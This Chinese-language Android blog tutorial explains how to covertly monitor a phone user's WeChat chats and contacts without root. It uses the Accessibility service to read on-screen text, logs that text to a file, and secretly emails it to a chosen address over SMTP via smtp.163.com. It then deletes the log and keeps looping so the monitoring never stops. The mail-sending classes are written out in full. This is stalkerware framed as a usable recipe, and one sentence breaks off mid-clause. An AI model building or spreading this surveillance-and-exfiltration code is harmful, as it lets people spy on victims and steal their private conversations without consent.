Android開發——免Root監聽微信的聊天記錄(後臺祕密發郵件)
1. 首先先展示一下效果圖:
2. Accessibility機制
Accessibility機制之前已經介紹過了,具體可以檢視Accessibility機制實現模擬點選,需要簡單的配置(如設定被監聽的物件為微信)和實現。此文中介紹瞭如何通過Accessibility自動搶紅包,在這個過程中,很明顯,在呼叫如下程式碼時,
AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();
遍歷節點,再迴圈列印其getText()資訊,便可以拿到使用者通訊錄以及聊天記錄等資訊的。獲取到這些資訊後,我們可以暫時寫入檔案,以備傳送。
private void write(String info){ try{ FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND); PrintStream ps = new PrintStream(fos); ps.println(info); ps.close(); } catch (Exception e) { e.printStackTrace(); } }
當然,前提是在被監聽使用者在我們開啟監聽後聊過(或者說看到)的記錄,否則使用者連微信都不開啟,我們是無從獲取聊天記錄等資訊的。
2. 後臺祕密發郵件
當然,我們監聽到這些資訊,需要實時地反饋給我們。這裡我們採用郵件的形式,通過後臺“偷偷地”傳送這些資訊。
傳送後臺郵件需要用到三個第三方的庫,分別為activation.jar,additionnal.jar,mail.jar。傳送郵件的時候需要用到很多資訊,包括髮送郵件的伺服器的IP和埠、郵件傳送者的地址、郵件接收者的地址、登陸郵件傳送伺服器的使用者名稱和密碼、郵件主題、郵件的文字內容等等。
這裡需要注意的是,我們後臺發郵件需要賬號密碼等敏感資訊,這些郵件資訊,除了郵件的文字內容資訊,其他的資訊我們
還有一點需要注意的是,在完成後臺祕密傳送的同時,需要將存放敏感資訊的的檔案進行刪除,以此來防止部分內容的重複傳送。刪除之後,重新開始監聽使用者資訊,若資訊有效,便重新建立檔案寫入資訊,當達到設定好的傳送條件時,再進行後臺郵件傳送,以此迴圈,來達到一直監聽的目的。具體的傳送時機,刪除暫時儲存資料的檔案的時機等等,可以自定義實現。
核心程式碼展示如下:
//傳送郵件 MailSenderInfo mailInfo = new MailSenderInfo(); mailInfo.setMailServerHost("smtp.163.com"); mailInfo.setMailServerPort("25"); mailInfo.setValidate(true); mailInfo.setUserName(userid); //你的郵箱地址 mailInfo.setPassword(password);//您的郵箱密碼 mailInfo.setFromAddress(from); mailInfo.setToAddress(to); mailInfo.setSubject(subject); mailInfo.setContent(read()); //這個類主要來發送郵件 SimpleMailSender sms = new SimpleMailSender(); //傳送文體格式 sms.sendTextMail(mailInfo);
其中SimpleMailSender類展示如下,MyAuthenticator類需要繼承Authenticator類,主要是在getPasswordAuthentication()方法中返回封裝好的型別為PasswordAuthentication的鑑權結果即可。
public class SimpleMailSender
{
/**
* 以文字格式傳送郵件
* @param mailInfo 待發送的郵件的資訊
*/
public boolean sendTextMail(MailSenderInfo mailInfo){
// 判斷是否需要身份認證
MyAuthenticator authenticator = null;
Properties pro = mailInfo.getProperties();
if (mailInfo.isValidate())
{
// 如果需要身份認證,則建立一個密碼驗證器
authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
}
// 根據郵件會話屬性和密碼驗證器構造一個傳送郵件的session
Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
try
{
// 根據session建立一個郵件訊息
Message mailMessage = new MimeMessage(sendMailSession);
// 建立郵件傳送者地址
Address from = new InternetAddress(mailInfo.getFromAddress());
// 設定郵件訊息的傳送者
mailMessage.setFrom(from);
// 建立郵件的接收者地址,並設定到郵件訊息中
Address to = new InternetAddress(mailInfo.getToAddress());
mailMessage.setRecipient(Message.RecipientType.TO,to);
// 設定郵件訊息的主題
mailMessage.setSubject(mailInfo.getSubject());
// 設定郵件訊息傳送的時間
mailMessage.setSentDate(new Date());
// 設定郵件訊息的主要內容
String mailContent = mailInfo.getContent();
mailMessage.setText(mailContent);
// 傳送郵件
Transport.send(mailMessage);
}
catch (MessagingException ex){
ex.printStackTrace();
}
return false;
}
}
MailSenderInfo類展示如下。
public class MailSenderInfo {
// 傳送郵件的伺服器的IP和埠
private String mailServerHost = Constant.SERVICE_IP;
private String mailServerPort = Constant.SERVICE_PORT;//一般為25
// 郵件傳送者的地址
private String fromAddress;
// 郵件接收者的地址
private String toAddress;
// 登陸郵件傳送伺服器的使用者名稱和密碼
private String userName;
private String password;
// 是否需要身份驗證
private boolean validate = true;
// 郵件主題
private String subject;
// 郵件的文字內容
private String content;
/**
* 獲得郵件會話屬性
*/
public Properties getProperties() {
Properties p = new Properties();
p.put("mail.smtp.host", this.mailServerHost);
p.put("mail.smtp.port", this.mailServerPort);
p.put("mail.smtp.auth", "true");
return p;
}
public String getMailServerHost() {
return mailServerHost;
}
public void setMailServerHost(String mailServerHost) {
this.mailServerHost = mailServerHost;
}
public String getMailServerPort() {
return mailServerPort;
}
public void setMailServerPort(String mailServerPort) {
this.mailServerPort = mailServerPort;
}
public boolean isValidate() {
return validate;
}
public void setValidate(boolean validate) {
this.validate = validate;
}
public String getFromAddress(){
return fromAddress;
}
public void setFromAddress(String fromAddress){
this.fromAddress = fromAddress;
}
public String getPassword(){
return password;
}
public void setPassword(String password){
this.password = password;
}
public String getToAddress(){
return toAddress;
}
public void setToAddress(String toAddress){
this.toAddress = toAddress;
}
public String getUserName(){
return userName;
}
public void setUserName(String userName){
this.userName = userName;
}
public String getSubject(){
return subject;
}
public void setSubject(String subject){
this.subject = subject;
}
public String getContent(){
return content;
}
public void setContent(String textContent){
this.content = textContent;
}
}